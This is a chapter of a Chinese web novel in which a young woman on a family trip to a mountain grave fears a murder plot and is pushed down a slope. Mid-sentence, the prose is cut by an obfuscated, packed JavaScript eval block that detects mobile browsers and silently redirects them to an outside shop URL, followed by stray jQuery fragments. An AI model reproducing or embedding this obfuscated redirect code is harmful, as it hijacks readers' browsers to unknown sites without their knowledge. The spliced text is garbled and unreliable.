平白无故吃下一只蜻蜓,恶心地自己一天没吃饭,札尔克是不会轻易放过姜之唯的。
“主人,您打算怎么惩罚她?”铃郁看出他的打算。
札尔克嘴角噙着坏笑,“以其人之道,还治其人之身。”
主仆二人当即开始行动。
此时姜之唯躺在床上,看着床上的帷幔,在胡思乱想中慢慢睡着。
第二天天还没亮,蓝君和就过来敲门,“姜之唯,姜之唯!”
暴躁的敲门声将梦境直接打散,姜之唯慢慢攥紧拳头,深吸一口气,将被吵醒的暴躁情绪压下去。披了件衣服,把门打开一条小缝,惺忪着一双眼睛看过去,用甜到腻人的声音问过去,“君和哥,这么早过来敲门,有什么事吗?”
为了整蛊姜之唯,蓝君和也起了个大早,正在打哈欠的时候,姜之唯把门打开。哈欠打了一半,“昨夜我忘了告诉你了,今天咱们要去山上祭拜铃麒夫人的家人。娘说让咱们一起去,顺便看看这里的景色,你赶紧起来吧,不然一会儿就要迟到了。”
漏了自己的通知就算了,还一副老大爷的模样,搞什么?存心报复自己,一大早扰人清梦。
看着蓝君和没有半分愧疚的身影,姜之唯慢慢关上房门,对着空气来了一套组合拳。
山路崎岖难走,让人准备了很多食物,让大家吃饱再上路。
可惜,大家都兴致缺缺,起来得太早,没有多少胃口。
从小到大的求生欲告诉姜之唯,接下来绝对有诈。不管是追忆过去,还是暗中挖坑等着她,都要有充足精力抵抗。
几人里,姜之唯吃的最多。她吃了两个肉包子,喝了一碗粥,还吃了一块甜糕,喝了一杯茶,这才吃不下。
“今早叫醒的真是你吗?吃这么多,我还以为猪精现世呢。”蓝君和让下人背上自己的食盒,特意走到姜之唯面前嘲讽一句才离开。
姜之唯:“......”
“小姐,您别生气,少爷就是这样,我来帮您拿吧。”丫鬟也吃好了,上前就要接姜之唯包好的食物。
将食物护在怀中,姜之唯避开丫鬟,“我拿着就好。”
这个小丫鬟对她确实不错,但食物可是关键时候能保命的东西,交给别人她可不放心。
-
准备好了充足的食物和水,一行人就浩浩荡荡地上了山。
铃麒小的时候在这里长大,与爹爹相依为命。那个时候这里的树还没有这么多,周围有一片村庄,村里大概有几百号人。村民们来来往往,不自觉地就踩出了一条顺畅的山上路,可惜造化弄人。
铃麒十几岁的时候,这里爆发了水患。她家的小竹屋地处高地,没有被淹,山下的村子无一幸免,一夜之间全都没了,此后水位再也没有降下来过,这条上山路也逐渐长满了杂草。
她爹就是为了救落水的村民,意外卷进去死了的。从此以后,铃麒成了孤儿,只有自己了。
走着走着,想到自己的过去,铃麒停下步子,不禁潸然泪下。札尔克就在她手边,看到铃麒流下眼泪,抬手就要帮她擦去。
铃麒冲着他摇头,转身避开了视线,往山下的汪洋看去,“这里,在我小的时候还是一片村落,我记得村里有一个做糖人的老爷爷,我很喜欢吃,可惜那场大水,将一切都冲散了。”
物是人非的感觉,蓝夫人对此深有体会。
姜之唯跟在队伍后面,看着那片汪洋,心里毫无波澜,只有一个感觉。好高,要是掉下去,骨头渣子都没有了吧。
蓝君和整个人没心没肺的,正一跳一跳地去摘树上的果子。
等铃麒伤感完,众人继续往山上走去。
越往上走,草丛就越密集,各种各样的杂草交错在一起,让人分辨不出路径。
踩在前人走过的地方,姜之唯每一步都走得小心。看到漂亮的花草,偶尔会弯下腰采上一朵抓在手里。
多亏姜鹤和漆晋春喜欢侍弄花草,姜之唯也跟着学了很多花草知识。她对那些瑰丽的花朵没多少养殖的兴趣,反倒注意到野外那些不起眼但致命的东西。
为防止这些人杀自己灭口,一路上姜之唯存了两个袖子的毒草。不管这些人从哪个方向过来,自己都能毒他们一下,给自己争取逃命的机会。
刚出门的时候,山间都是湿浓的露气,走得鞋袜都湿了一层。越往上走,太阳出来了,将山上的雾气烤干,鞋袜也慢慢干了。
走到快中午,半山腰的一座土堆上,铃麒终于找到了自己父亲的坟墓。
那里是当年洪水漫到的地方,也是她爹尸体被冲上来的地方。
那个时候她已经找了几天几夜,浑身无力,已经不可能把人带回去埋在小竹屋附近,只能就地掩埋。
为了方便寻找,她特意在旁边种了一棵樱桃树。现在樱桃已经结果,鲜艳欲滴的果实挂在树梢上,给铃麒指引了鲜明的方向。
高山往上看不见顶,往下看不到山脚,往左看已经看不到汪洋,往右看深不见底。
“这里特别适合杀人抛尸,姜之唯,你觉得死了一个人,过了多久才会被发现呢?”蓝君和突然阴恻恻地出现,在她耳边鬼祟地说道。
姜之唯心里大惊,这个混蛋果然没安好心。手已经伸到袖中,如果情况不对,她真的会毒死她,然后自寻生路。
下山的路不好走,她就往上跑。
山与山相连,连绵不断的,只要一直往前跑,总会寻得一条生路的。
“君和哥,我想如果我出什么意外了,婆母应该会马上就派人来找我,所以答案是很快就发现了。”姜之唯笑得毫无威胁,要人性命的毒草已经攥在手上。
盯着姜之唯这张脸,蓝君和哂笑,抬脚后退半步,“我不会动你的,起码是在这里,不然我娘会把我踹下去的。等以后了,我会好好与你相处的。”
危机暂时解除,姜之唯跑到蓝夫人身边,给自己找个暂时庇佑。
札尔克跟在铃麒身边,陪着她祭拜长辈。全程装得乖巧听话,实际上耳朵早已经竖起,不错过场上任何风吹草动。
这里地势陡峭,他打算伺机报复,先把人推下去,不弄死,弄个骨折就行。不能动了,她的嘴巴再厉害,也都是自己的掌中之物。
因为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17864320|212142||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一直跟在蓝夫人身边,直到上了山顶,姜之唯都是安全的。
山顶怪石嶙峋,到处都是坑坑洼洼的石头。就在另一头的山顶上,却是被开垦好的农田,上面的作物长势非常好,马上就要成熟了。
姜之唯选了块大的石头,坐在上面,感受着些许凉风吹过,心里是无比的惬意,仿佛所有的烦心事都可以抛到脑后。
如果烦人的家伙能离得远一点就更好了。
好不容易爬到山顶,众人也累了。蓝夫人命令将带来的饭食摆好,一会儿准备吃饭休息一下。
一路上,札尔克摘了不少野果子,各个鲜甜饱满,一口流汁。
“姜小姐,请——”札尔克跟善良的小天使一样,到处分发野果,终于分到姜之唯这里,热情给她介绍,“这个野果,很甜的,你可以尝尝。”
“好啊,辛苦你了。”姜之唯甜甜笑着,拿了几个野果子。
等札尔克离开,姜之唯赶紧将手里的东西丢下山去。
韦懿宸都告诉自己了,商业盛会上中的毒,就是札尔克的手笔。之前还想弄死自己,姜之唯才不会相信有些人会突然变得善良了。
而且,她昨天让他吃了只蜻蜓,他连晚饭都没吃,真有这么好心?
所以,这个果子绝对有毒。
人要做坏事的时候,总是谨慎严密的。他余光瞥到姜之唯将果子丢掉后,没有声张,挑眉一笑,随手抓起一个果子咬了一口。果子爽脆可口,汁水很多,很解渴。
姜之唯聪明一时,这次真的猜错了,果子没毒。
札尔克要报复,也不可能用这么简单的手笔。谁都知道是他给的果子,连查案都不用,直接就能找出凶手。
吃完东西,众人觉得困乏,就靠在山顶的几棵树上小小休息一会儿,等到天不热了,才继续往山下走去。
即使上来的时候已经开出了一条路,下山路依旧陡峭难走。众人走得小心、艰难,每个人的行进速度不一,队伍很快就被拉得好长。
因为手上有伤,姜之唯能用力抓握的手只有一只,因此远远地落在最后面。她走得虽然慢,但一路上始终能看到人影,突然她脚下一空,姜之唯直接往下滚了一段路,歪斜到了别处。
原本有伤的手腕,现在似乎骨折了,动都不能动。身上脸上都被石子、低矮的灌木划伤,模样好不狼狈。
“啊,好疼啊,我这是掉哪儿去了?”浑身上下哪儿都疼,姜之唯慢慢站起来,根本没注意背后突然出现一双黑手。
眼前一黑,她又滚了下去。
前路都是高过膝盖的杂草,现在又是夏天,如果不走运,她不知道会不会被山上那些动物饱餐一顿。
咕咚咕咚,耳畔的声音混杂,姜之唯都绝望了。
她不知道自己为什么脚软,又似乎是谁推搡了自己一下。山这么高,她要滚到哪里,不会送到谁的嘴巴里,让它饱餐一顿吧。
谁能救救她?
谁能救救她,这世间有神明吗,赶紧让她停下来。
这世间没有神明,路上有石头。姜之唯脑袋手臂撞上,旧伤添新伤,直接疼晕了。